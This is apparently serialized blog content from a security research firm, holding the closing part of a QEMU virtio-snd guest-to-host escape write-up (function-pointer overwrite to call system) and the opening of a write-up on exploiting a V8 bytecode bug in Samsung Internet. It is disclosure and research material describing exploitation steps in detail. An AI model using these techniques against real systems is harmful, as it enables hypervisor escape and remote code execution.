",{"type":26,"tag":475,"props":130869,"children":130870},{"style":714},[130871],{"type":32,"value":4282},{"type":26,"tag":475,"props":130873,"children":130874},{"style":499},[130875],{"type":32,"value":130876},"vdev;\n",{"type":26,"tag":475,"props":130878,"children":130879},{"class":477,"line":596},[130880],{"type":26,"tag":475,"props":130881,"children":130882},{"emptyLinePlaceholder":18},[130883],{"type":32,"value":545},{"type":26,"tag":475,"props":130885,"children":130886},{"class":477,"line":610},[130887],{"type":26,"tag":475,"props":130888,"children":130889},{"style":499},[130890],{"type":32,"value":104233},{"type":26,"tag":475,"props":130892,"children":130893},{"class":477,"line":650},[130894],{"type":26,"tag":475,"props":130895,"children":130896},{"style":499},[130897],{"type":32,"value":16283},{"type":26,"tag":35,"props":130899,"children":130900},{},[130901,130902,130908,130910,130916],{"type":32,"value":16319},{"type":26,"tag":53,"props":130903,"children":130905},{"className":130904},[],[130906],{"type":32,"value":130907},".handle_output",{"type":32,"value":130909}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":26,"tag":53,"props":130911,"children":130913},{"className":130912},[],[130914],{"type":32,"value":130915},".vdev",{"type":32,"value":130917}," is the pointer passed to it as the first argument:",{"type":26,"tag":465,"props":130919,"children":130921},{"code":130920,"language":2854,"meta":7,"className":16220,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n if (vq->vring.desc && vq->handle_output) {\n VirtIODevice *vdev = vq->vdev;\n\n [...]\n\n vq->handle_output(vdev, vq);\n\n [...]\n }\n}\n",[130922],{"type":26,"tag":53,"props":130923,"children":130924},{"__ignoreMap":7},[130925,130958,130965,131020,131057,131064,131071,131078,131099,131106,131113,131120],{"type":26,"tag":475,"props":130926,"children":130927},{"class":477,"line":478},[130928,130932,130936,130941,130946,130950,130954],{"type":26,"tag":475,"props":130929,"children":130930},{"style":482},[130931],{"type":32,"value":50736},{"type":26,"tag":475,"props":130933,"children":130934},{"style":482},[130935],{"type":32,"value":50741},{"type":26,"tag":475,"props":130937,"children":130938},{"style":493},[130939],{"type":32,"value":130940}," virtio_queue_notify_vq",{"type":26,"tag":475,"props":130942,"children":130943},{"style":499},[130944],{"type":32,"value":130945},"(VirtQueue ",{"type":26,"tag":475,"props":130947,"children":130948},{"style":714},[130949],{"type":32,"value":4282},{"type":26,"tag":475,"props":130951,"children":130952},{"style":2375},[130953],{"type":32,"value":123304},{"type":26,"tag":475,"props":130955,"children":130956},{"style":499},[130957],{"type":32,"value":647},{"type":26,"tag":475,"props":130959,"children":130960},{"class":477,"line":516},[130961],{"type":26,"tag":475,"props":130962,"children":130963},{"style":499},[130964],{"type":32,"value":10589},{"type":26,"tag":475,"props":130966,"children":130967},{"class":477,"line":539},[130968,130972,130976,130980,130984,130989,130993,130998,131002,131007,131011,131016],{"type":26,"tag":475,"props":130969,"children":130970},{"style":586},[130971],{"type":32,"value":11988},{"type":26,"tag":475,"props":130973,"children":130974},{"style":499},[130975],{"type":32,"value":2775},{"type":26,"tag":475,"props":130977,"children":130978},{"style":2375},[130979],{"type":32,"value":123304},{"type":26,"tag":475,"props":130981,"children":130982},{"style":499},[130983],{"type":32,"value":13464},{"type":26,"tag":475,"props":130985,"children":130986},{"style":2375},[130987],{"type":32,"value":130988},"vring",{"type":26,"tag":475,"props":130990,"children":130991},{"style":499},[130992],{"type":32,"value":353},{"type":26,"tag":475,"props":130994,"children":130995},{"style":2375},[130996],{"type":32,"value":130997},"desc",{"type":26,"tag":475,"props":130999,"children":131000},{"style":714},[131001],{"type":32,"value":13892},{"type":26,"tag":475,"props":131003,"children":131004},{"style":2375},[131005],{"type":32,"value":131006}," vq",{"type":26,"tag":475,"props":131008,"children":131009},{"style":499},[131010],{"type":32,"value":13464},{"type":26,"tag":475,"props":131012,"children":131013},{"style":2375},[131014],{"type":32,"value":131015},"handle_output",{"type":26,"tag":475,"props":131017,"children":131018},{"style":499},[131019],{"type":32,"value":676},{"type":26,"tag":475,"props":131021,"children":131022},{"class":477,"line":548},[131023,131028,131032,131037,131041,131045,131049,131053],{"type":26,"tag":475,"props":131024,"children":131025},{"style":499},[131026],{"type":32,"value":131027}," VirtIODevice ",{"type":26,"tag":475,"props":131029,"children":131030},{"style":714},[131031],{"type":32,"value":4282},{"type":26,"tag":475,"props":131033,"children":131034},{"style":499},[131035],{"type":32,"value":131036},"vdev ",{"type":26,"tag":475,"props":131038,"children":131039},{"style":714},[131040],{"type":32,"value":786},{"type":26,"tag":475,"props":131042,"children":131043},{"style":2375},[131044],{"type":32,"value":131006},{"type":26,"tag":475,"props":131046,"children":131047},{"style":499},[131048],{"type":32,"value":13464},{"type":26,"tag":475,"props":131050,"children":131051},{"style":2375},[131052],{"type":32,"value":123290},{"type":26,"tag":475,"props":131054,"children":131055},{"style":499},[131056],{"type":32,"value":2729},{"type":26,"tag":475,"props":131058,"children":131059},{"class":477,"line":558},[131060],{"type":26,"tag":475,"props":131061,"children":131062},{"emptyLinePlaceholder":18},[131063],{"type":32,"value":545},{"type":26,"tag":475,"props":131065,"children":131066},{"class":477,"line":582},[131067],{"type":26,"tag":475,"props":131068,"children":131069},{"style":499},[131070],{"type":32,"value":123471},{"type":26,"tag":475,"props":131072,"children":131073},{"class":477,"line":596},[131074],{"type":26,"tag":475,"props":131075,"children":131076},{"emptyLinePlaceholder":18},[131077],{"type":32,"value":545},{"type":26,"tag":475,"props":131079,"children":131080},{"class":477,"line":610},[131081,131086,131090,131094],{"type":26,"tag":475,"props":131082,"children":131083},{"style":2375},[131084],{"type":32,"value":131085}," vq",{"type":26,"tag":475,"props":131087,"children":131088},{"style":499},[131089],{"type":32,"value":13464},{"type":26,"tag":475,"props":131091,"children":131092},{"style":493},[131093],{"type":32,"value":131015},{"type":26,"tag":475,"props":131095,"children":131096},{"style":499},[131097],{"type":32,"value":131098},"(vdev, vq);\n",{"type":26,"tag":475,"props":131100,"children":131101},{"class":477,"line":650},[131102],{"type":26,"tag":475,"props":131103,"children":131104},{"emptyLinePlaceholder":18},[131105],{"type":32,"value":545},{"type":26,"tag":475,"props":131107,"children":131108},{"class":477,"line":679},[131109],{"type":26,"tag":475,"props":131110,"children":131111},{"style":499},[131112],{"type":32,"value":123471},{"type":26,"tag":475,"props":131114,"children":131115},{"class":477,"line":735},[131116],{"type":26,"tag":475,"props":131117,"children":131118},{"style":499},[131119],{"type":32,"value":851},{"type":26,"tag":475,"props":131121,"children":131122},{"class":477,"line":744},[131123],{"type":26,"tag":475,"props":131124,"children":131125},{"style":499},[131126],{"type":32,"value":3607},{"type":26,"tag":35,"props":131128,"children":131129},{},[131130,131132,131137,131139,131144,131146,131152,131154,131159,131160,131165,131167,131172],{"type":32,"value":131131},"This means that if we free the known-address chunk and replace it with a ",{"type":26,"tag":53,"props":131133,"children":131135},{"className":131134},[],[131136],{"type":32,"value":123957},{"type":32,"value":131138}," - which is straightforward, since we control the buffer allocation size through the ",{"type":26,"tag":53,"props":131140,"children":131142},{"className":131141},[],[131143],{"type":32,"value":123545},{"type":32,"value":131145}," iovec - we can use the arbitrary read primitive to read its ",{"type":26,"tag":53,"props":131147,"children":131149},{"className":131148},[],[131150],{"type":32,"value":131151},".vq",{"type":32,"value":131153}," pointer, then follow that pointer to leak ",{"type":26,"tag":53,"props":131155,"children":131157},{"className":131156},[],[131158],{"type":32,"value":130907},{"type":32,"value":15758},{"type":26,"tag":53,"props":131161,"children":131163},{"className":131162},[],[131164],{"type":32,"value":130809},{"type":32,"value":131166}," structure. In our case, that field points to ",{"type":26,"tag":53,"props":131168,"children":131170},{"className":131169},[],[131171],{"type":32,"value":123197},{"type":32,"value":131173},", which gives us QEMU's base address.",{"type":26,"tag":35,"props":131175,"children":131176},{},[131177,131179,131185],{"type":32,"value":131178},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":26,"tag":53,"props":131180,"children":131182},{"className":131181},[],[131183],{"type":32,"value":131184},"system",{"type":32,"value":353},{"type":26,"tag":41,"props":131187,"children":131189},{"id":131188},"rip-control",[131190],{"type":32,"value":131191},"RIP Control",{"type":26,"tag":35,"props":131193,"children":131194},{},[131195,131197,131202,131204,131210],{"type":32,"value":131196},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":26,"tag":53,"props":131198,"children":131200},{"className":131199},[],[131201],{"type":32,"value":131184},{"type":32,"value":131203},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":26,"tag":53,"props":131205,"children":131207},{"className":131206},[],[131208],{"type":32,"value":131209},"VirtQueue.handle_output",{"type":32,"value":353},{"type":26,"tag":35,"props":131212,"children":131213},{},[131214,131216,131221,131223,131228,131230,131235],{"type":32,"value":131215},"We overwrite ",{"type":26,"tag":53,"props":131217,"children":131219},{"className":131218},[],[131220],{"type":32,"value":130907},{"type":32,"value":131222}," with the address of ",{"type":26,"tag":53,"props":131224,"children":131226},{"className":131225},[],[131227],{"type":32,"value":131184},{"type":32,"value":131229}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":26,"tag":53,"props":131231,"children":131233},{"className":131232},[],[131234],{"type":32,"value":130915},{"type":32,"value":131236}," with the address of that command string, so it is passed as the first argument.",{"type":26,"tag":35,"props":131238,"children":131239},{},[131240,131242,131248,131250,131256,131258,131264],{"type":32,"value":131241},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":26,"tag":53,"props":131243,"children":131245},{"className":131244},[],[131246],{"type":32,"value":131247},"virtio_queue_notify_vq",{"type":32,"value":131249},", which calls ",{"type":26,"tag":53,"props":131251,"children":131253},{"className":131252},[],[131254],{"type":32,"value":131255},"vq->handle_output(vq->vdev)",{"type":32,"value":131257}," - or, after our overwrites, ",{"type":26,"tag":53,"props":131259,"children":131261},{"className":131260},[],[131262],{"type":32,"value":131263},"system(command)",{"type":32,"value":353},{"type":26,"tag":35,"props":131266,"children":131267},{},[131268,131270,131276,131278],{"type":32,"value":131269},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":26,"tag":53,"props":131271,"children":131273},{"className":131272},[],[131274],{"type":32,"value":131275},"gnome-calculator",{"type":32,"value":131277}," on the host system:\n",{"type":26,"tag":30672,"props":131279,"children":131280},{},[],{"type":26,"tag":131282,"props":131283,"children":131292},"tweet-card",{"author-name":131284,"date":131285,"duration":131286,"handle":131287,"media-mime-type":131288,"media-src":131289,"media-type":131290,"tweet-url":131291},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[131293,131298,131303],{"type":26,"tag":35,"props":131294,"children":131295},{},[131296],{"type":32,"value":131297},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":26,"tag":35,"props":131299,"children":131300},{},[131301],{"type":32,"value":131302},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":26,"tag":35,"props":131304,"children":131305},{},[131306],{"type":32,"value":131307},"Writeup coming next week.",{"type":26,"tag":30672,"props":131309,"children":131310},{},[],{"type":26,"tag":35,"props":131312,"children":131313},{},[131314,131316,131322,131324,131330],{"type":32,"value":131315},"The final exploit, targeting QEMU commit ",{"type":26,"tag":53,"props":131317,"children":131319},{"className":131318},[],[131320],{"type":32,"value":131321},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":32,"value":131323}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":26,"tag":116,"props":131325,"children":131328},{"href":131326,"rel":131327},"https://github.com/otter-sec/qemu-escape",[120],[131329],{"type":32,"value":47278},{"type":32,"value":353},{"type":26,"tag":35,"props":131332,"children":131333},{},[131334,131336,131343],{"type":32,"value":131335},"Special thanks to ",{"type":26,"tag":116,"props":131337,"children":131340},{"href":131338,"rel":131339},"https://www.willsroot.io/",[120],[131341],{"type":32,"value":131342},"William Liu",{"type":32,"value":131344}," for proofreading this post and helping us polish it before publication.",{"type":26,"tag":27,"props":131346,"children":131347},{"id":2533},[131348],{"type":32,"value":2536},{"type":26,"tag":35,"props":131350,"children":131351},{},[131352],{"type":32,"value":131353},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":26,"tag":35,"props":131355,"children":131356},{},[131357],{"type":32,"value":131358},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":26,"tag":2548,"props":131360,"children":131361},{},[131362],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":131364},[131365,131368,131371,131380],{"id":123093,"depth":516,"text":123106,"children":131366},[131367],{"id":123114,"depth":539,"text":123117},{"id":123138,"depth":516,"text":123141,"children":131369},[131370],{"id":123152,"depth":539,"text":123152},{"id":440,"depth":516,"text":443,"children":131372},[131373,131374,131375,131376,131377,131378,131379],{"id":125744,"depth":539,"text":125747},{"id":127271,"depth":539,"text":127274},{"id":128065,"depth":539,"text":128068},{"id":128470,"depth":539,"text":128473},{"id":128686,"depth":539,"text":128689},{"id":128892,"depth":539,"text":128895},{"id":131188,"depth":539,"text":131191},{"id":2533,"depth":516,"text":2536},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":131385,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":131386,"description":131387,"date":131388,"author":131389,"image":131392,"isFeatured":18,"onBlogPage":18,"tags":131394,"body":131397,"_type":2566,"_id":141305,"_source":2568,"_file":141306,"_stem":141307,"_extension":2571},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[123089,131390,131391],"jamie","william",{"src":131393,"width":16,"height":17},"/posts/mobile-renderer-rce/title.png",[131395,131396],"RCE","mobile",{"type":23,"children":131398,"toc":141285},[131399,131403,131408,131422,131428,131442,131463,131471,131484,131492,131505,131511,131524,131538,131544,131558,131661,131666,131674,131679,131684,131705,131783,131791,131810,131823,131829,131835,131849,131965,131970,131975,131983,131988,131996,132024,132053,132065,132241,132246,132254,132273,132286,132292,132312,132326,132331,132336,132364,132400,132469,132475,132497,132502,132510,132523,132528,132536,132541,132580,132586,132599,132604,132782,132792,132800,132820,132844,132857,132863,132868,133510,133515,133523,133565,135554,135559,135567,135573,135606,135624,135794,135852,135877,135971,135976,136767,136772,136780,136791,138835,138840,138848,138854,138876,138890,138903,138915,138945,138950,139391,139419,139526,139543,139700,139705,139717,140013,140039,140062,140194,140206,140211,140363,140399,140412,140417,140539,140580,140657,140662,141236,141242,141254,141267,141271,141276,141281],{"type":26,"tag":27,"props":131400,"children":131401},{"id":28717},[131402],{"type":32,"value":28720},{"type":26,"tag":35,"props":131404,"children":131405},{},[131406],{"type":32,"value":131407},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":26,"tag":35,"props":131409,"children":131410},{},[131411,131413,131420],{"type":32,"value":131412},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":26,"tag":116,"props":131414,"children":131417},{"href":131415,"rel":131416},"https://cor.team",[120],[131418],{"type":32,"value":131419},"Crusaders of Rust",{"type":32,"value":131421}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":26,"tag":41,"props":131423,"children":131425},{"id":131424},"finding-the-v8-version",[131426],{"type":32,"value":131427},"Finding the V8 Version",{"type":26,"tag":35,"props":131429,"children":131430},{},[131431,131433,131440],{"type":32,"value":131432},"We started by pulling Samsung Internet's APK from the device over ",{"type":26,"tag":116,"props":131434,"children":131437},{"href":131435,"rel":131436},"https://developer.android.com/tools/adb",[120],[131438],{"type":32,"value":131439},"adb",{"type":32,"value":131441}," and inspecting the libraries it shipped with.",{"type":26,"tag":35,"props":131443,"children":131444},{},[131445,131447,131453,131455,131461],{"type":32,"value":131446},"After extracting the APK, we searched the ",{"type":26,"tag":53,"props":131448,"children":131450},{"className":131449},[],[131451],{"type":32,"value":131452},"lib/",{"type":32,"value":131454}," directory for ",{"type":26,"tag":53,"props":131456,"children":131458},{"className":131457},[],[131459],{"type":32,"value":131460},"v8::*",{"type":32,"value":131462}," symbols:",{"type":26,"tag":465,"props":131464,"children":131466},{"code":131465},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[131467],{"type":26,"tag":53,"props":131468,"children":131469},{"__ignoreMap":7},[131470],{"type":32,"value":131465},{"type":26,"tag":35,"props":131472,"children":131473},{},[131474,131476,131482],{"type":32,"value":131475},"Only one file matched our search: ",{"type":26,"tag":53,"props":131477,"children":131479},{"className":131478},[],[131480],{"type":32,"value":131481},"libterrace.so",{"type":32,"value":131483},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":26,"tag":35,"props":131485,"children":131486},{},[131487],{"type":26,"tag":132,"props":131488,"children":131491},{"alt":131489,"src":131490},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":26,"tag":35,"props":131493,"children":131494},{},[131495,131497,131503],{"type":32,"value":131496},"Surprisingly, this ",{"type":26,"tag":53,"props":131498,"children":131500},{"className":131499},[],[131501],{"type":32,"value":131502},"13.6.233.10",{"type":32,"value":131504}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":26,"tag":41,"props":131506,"children":131508},{"id":131507},"choosing-the-bug",[131509],{"type":32,"value":131510},"Choosing the Bug",{"type":26,"tag":35,"props":131512,"children":131513},{},[131514,131516,131522],{"type":32,"value":131515},"We were able to trigger a couple of bugs on our locally compiled ",{"type":26,"tag":53,"props":131517,"children":131519},{"className":131518},[],[131520],{"type":32,"value":131521},"d8",{"type":32,"value":131523}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":26,"tag":35,"props":131525,"children":131526},{},[131527,131529,131536],{"type":32,"value":131528},"Another one was ",{"type":26,"tag":116,"props":131530,"children":131533},{"href":131531,"rel":131532},"https://issuetracker.google.com/issues/443875388",[120],[131534],{"type":32,"value":131535},"CVE-2025-10891",{"type":32,"value":131537}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":26,"tag":27,"props":131539,"children":131541},{"id":131540},"ignition-bytecode-introduction",[131542],{"type":32,"value":131543},"Ignition Bytecode Introduction",{"type":26,"tag":35,"props":131545,"children":131546},{},[131547,131549,131556],{"type":32,"value":131548},"V8 initially compiles all JS code to a bytecode format with the ",{"type":26,"tag":116,"props":131550,"children":131553},{"href":131551,"rel":131552},"https://v8.dev/blog/ignition-interpreter",[120],[131554],{"type":32,"value":131555},"Ignition",{"type":32,"value":131557}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":26,"tag":465,"props":131559,"children":131561},{"code":131560,"language":2334,"meta":7,"className":2332,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[131562],{"type":26,"tag":53,"props":131563,"children":131564},{"__ignoreMap":7},[131565,131588,131612,131636],{"type":26,"tag":475,"props":131566,"children":131567},{"class":477,"line":478},[131568,131572,131576,131580,131584],{"type":26,"tag":475,"props":131569,"children":131570},{"style":482},[131571],{"type":32,"value":11496},{"type":26,"tag":475,"props":131573,"children":131574},{"style":2375},[131575],{"type":32,"value":89456},{"type":26,"tag":475,"props":131577,"children":131578},{"style":714},[131579],{"type":32,"value":2383},{"type":26,"tag":475,"props":131581,"children":131582},{"style":903},[131583],{"type":32,"value":4234},{"type":26,"tag":475,"props":131585,"children":131586},{"style":499},[131587],{"type":32,"value":2729},{"type":26,"tag":475,"props":131589,"children":131590},{"class":477,"line":516},[131591,131595,131599,131603,131608],{"type":26,"tag":475,"props":131592,"children":131593},{"style":482},[131594],{"type":32,"value":11496},{"type":26,"tag":475,"props":131596,"children":131597},{"style":2375},[131598],{"type":32,"value":90330},{"type":26,"tag":475,"props":131600,"children":131601},{"style":714},[131602],{"type":32,"value":2383},{"type":26,"tag":475,"props":131604,"children":131605},{"style":903},[131606],{"type":32,"value":131607}," 0x0fff",{"type":26,"tag":475,"props":131609,"children":131610},{"style":499},[131611],{"type":32,"value":2729},{"type":26,"tag":475,"props":131613,"children":131614},{"class":477,"line":539},[131615,131619,131623,131627,131632],{"type":26,"tag":475,"props":131616,"children":131617},{"style":482},[131618],{"type":32,"value":11496},{"type":26,"tag":475,"props":131620,"children":131621},{"style":2375},[131622],{"type":32,"value":37139},{"type":26,"tag":475,"props":131624,"children":131625},{"style":714},[131626],{"type":32,"value":2383},{"type":26,"tag":475,"props":131628,"children":131629},{"style":903},[131630],{"type":32,"value":131631}," 0x0fffffff",{"type":26,"tag":475,"props":131633,"children":131634},{"style":499},[131635],{"type":32,"value":2729},{"type":26,"tag":475,"props":131637,"children":131638},{"class":477,"line":548},[131639,131643,131648,131652,131657],{"type":26,"tag":475,"props":131640,"children":131641},{"style":482},[131642],{"type":32,"value":11496},{"type":26,"tag":475,"props":131644,"children":131645},{"style":2375},[131646],{"type":32,"value":131647}," d",{"type":26,"tag":475,"props":131649,"children":131650},{"style":714},[131651],{"type":32,"value":2383},{"type":26,"tag":475,"props":131653,"children":131654},{"style":903},[131655],{"type":32,"value":131656}," 0xffffffff",{"type":26,"tag":475,"props":131658,"children":131659},{"style":499},[131660],{"type":32,"value":2729},{"type":26,"tag":35,"props":131662,"children":131663},{},[131664],{"type":32,"value":131665},"compiles to",{"type":26,"tag":465,"props":131667,"children":131669},{"code":131668}," # Load the Smi `1` into the accumulator\n 0 : 0d 01 LdaSmi [1]\n # Store it to register 0\n 2 : ce Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00 LdaConstant [0]\n# Store it to register 3\n17 : cb Star3\n18 : 0e LdaUndefined\n19 : b3 Return\n",[131670],{"type":26,"tag":53,"props":131671,"children":131672},{"__ignoreMap":7},[131673],{"type":32,"value":131668},{"type":26,"tag":35,"props":131675,"children":131676},{},[131677],{"type":32,"value":131678},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":26,"tag":41,"props":131680,"children":131682},{"id":131681},"cve-2025-10891",[131683],{"type":32,"value":131535},{"type":26,"tag":35,"props":131685,"children":131686},{},[131687,131689,131695,131697,131703],{"type":32,"value":131688},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":26,"tag":53,"props":131690,"children":131692},{"className":131691},[],[131693],{"type":32,"value":131694},"[start, end) => handler",{"type":32,"value":131696}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":26,"tag":53,"props":131698,"children":131700},{"className":131699},[],[131701],{"type":32,"value":131702},"handler",{"type":32,"value":131704}," is jumped to.",{"type":26,"tag":465,"props":131706,"children":131708},{"code":131707,"language":2334,"meta":7,"className":2332,"style":7},"try {\n throw 1;\n} catch {\n let b = 2;\n}\n",[131709],{"type":26,"tag":53,"props":131710,"children":131711},{"__ignoreMap":7},[131712,131723,131738,131753,131776],{"type":26,"tag":475,"props":131713,"children":131714},{"class":477,"line":478},[131715,131719],{"type":26,"tag":475,"props":131716,"children":131717},{"style":586},[131718],{"type":32,"value":48025},{"type":26,"tag":475,"props":131720,"children":131721},{"style":499},[131722],{"type":32,"value":579},{"type":26,"tag":475,"props":131724,"children":131725},{"class":477,"line":516},[131726,131730,131734],{"type":26,"tag":475,"props":131727,"children":131728},{"style":586},[131729],{"type":32,"value":34897},{"type":26,"tag":475,"props":131731,"children":131732},{"style":903},[131733],{"type":32,"value":4234},{"type":26,"tag":475,"props":131735,"children":131736},{"style":499},[131737],{"type":32,"value":2729},{"type":26,"tag":475,"props":131739,"children":131740},{"class":477,"line":539},[131741,131745,131749],{"type":26,"tag":475,"props":131742,"children":131743},{"style":499},[131744],{"type":32,"value":46567},{"type":26,"tag":475,"props":131746,"children":131747},{"style":586},[131748],{"type":32,"value":661},{"type":26,"tag":475,"props":131750,"children":131751},{"style":499},[131752],{"type":32,"value":579},{"type":26,"tag":475,"props":131754,"children":131755},{"class":477,"line":548},[131756,131760,131764,131768,131772],{"type":26,"tag":475,"props":131757,"children":131758},{"style":482},[131759],{"type":32,"value":2372},{"type":26,"tag":475,"props":131761,"children":131762},{"style":2375},[131763],{"type":32,"value":90330},{"type":26,"tag":475,"props":131765,"children":131766},{"style":714},[131767],{"type":32,"value":2383},{"type":26,"tag":475,"props":131769,"children":131770},{"style":903},[131771],{"type":32,"value":7645},{"type":26,"tag":475,"props":131773,"children":131774},{"style":499},[131775],{"type":32,"value":2729},{"type":26,"tag":475,"props":131777,"children":131778},{"class":477,"line":558},[131779],{"type":26,"tag":475,"props":131780,"children":131781},{"style":499},[131782],{"type":32,"value":3607},{"type":26,"tag":465,"props":131784,"children":131786},{"code":131785}," 0 : 1b ff f8 Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01 LdaSmi [1]\n 5 : b1 Throw\n # ---------------------------------\n 6 : 10 LdaTheHole\n 7 : b0 SetPendingMessage\n # Start of catch handler\n 8 : 0d 02 LdaSmi [2]\n10 : ce Star0\n11 : 0e LdaUndefined\n12 : b3 Return\nHandler Table (size = 16)\n from to hdlr (prediction, data)\n ( 3, 6) -> 6 (prediction=1, data=1)\n",[131787],{"type":26,"tag":53,"props":131788,"children":131789},{"__ignoreMap":7},[131790],{"type":32,"value":131785},{"type":26,"tag":35,"props":131792,"children":131793},{},[131794,131796,131801,131803,131808],{"type":32,"value":131795},"However, the ",{"type":26,"tag":53,"props":131797,"children":131799},{"className":131798},[],[131800],{"type":32,"value":131702},{"type":32,"value":131802}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":26,"tag":53,"props":131804,"children":131806},{"className":131805},[],[131807],{"type":32,"value":661},{"type":32,"value":131809}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":26,"tag":35,"props":131811,"children":131812},{},[131813,131815,131821],{"type":32,"value":131814},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":26,"tag":53,"props":131816,"children":131818},{"className":131817},[],[131819],{"type":32,"value":131820},"yield*",{"type":32,"value":131822}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":26,"tag":27,"props":131824,"children":131826},{"id":131825},"exploitation",[131827],{"type":32,"value":131828},"Exploitation",{"type":26,"tag":41,"props":131830,"children":131832},{"id":131831},"constant-smuggling",[131833],{"type":32,"value":131834},"Constant Smuggling",{"type":26,"tag":35,"props":131836,"children":131837},{},[131838,131840,131847],{"type":32,"value":131839},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":26,"tag":116,"props":131841,"children":131844},{"href":131842,"rel":131843},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[120],[131845],{"type":32,"value":131846},"technique",{"type":32,"value":131848}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":26,"tag":465,"props":131850,"children":131852},{"code":131851,"language":2334,"meta":7,"className":2332,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[131853],{"type":26,"tag":53,"props":131854,"children":131855},{"__ignoreMap":7},[131856,131884,131911,131938],{"type":26,"tag":475,"props":131857,"children":131858},{"class":477,"line":478},[131859,131863,131867,131871,131875,131880],{"type":26,"tag":475,"props":131860,"children":131861},{"style":482},[131862],{"type":32,"value":11496},{"type":26,"tag":475,"props":131864,"children":131865},{"style":2375},[131866],{"type":32,"value":89456},{"type":26,"tag":475,"props":131868,"children":131869},{"style":714},[131870],{"type":32,"value":2383},{"type":26,"tag":475,"props":131872,"children":131873},{"style":714},[131874],{"type":32,"value":50947},{"type":26,"tag":475,"props":131876,"children":131877},{"style":903},[131878],{"type":32,"value":131879},"9.255963134931783e61",{"type":26,"tag":475,"props":131881,"children":131882},{"style":499},[131883],{"type":32,"value":2729},{"type":26,"tag":475,"props":131885,"children":131886},{"class":477,"line":516},[131887,131891,131895,131899,131903,131907],{"type":26,"tag":475,"props":131888,"children":131889},{"style":482},[131890],{"type":32,"value":11496},{"type":26,"tag":475,"props":131892,"children":131893},{"style":2375},[131894],{"type":32,"value":90330},{"type":26,"tag":475,"props":131896,"children":131897},{"style":714},[131898],{"type":32,"value":2383},{"type":26,"tag":475,"props":131900,"children":131901},{"style":714},[131902],{"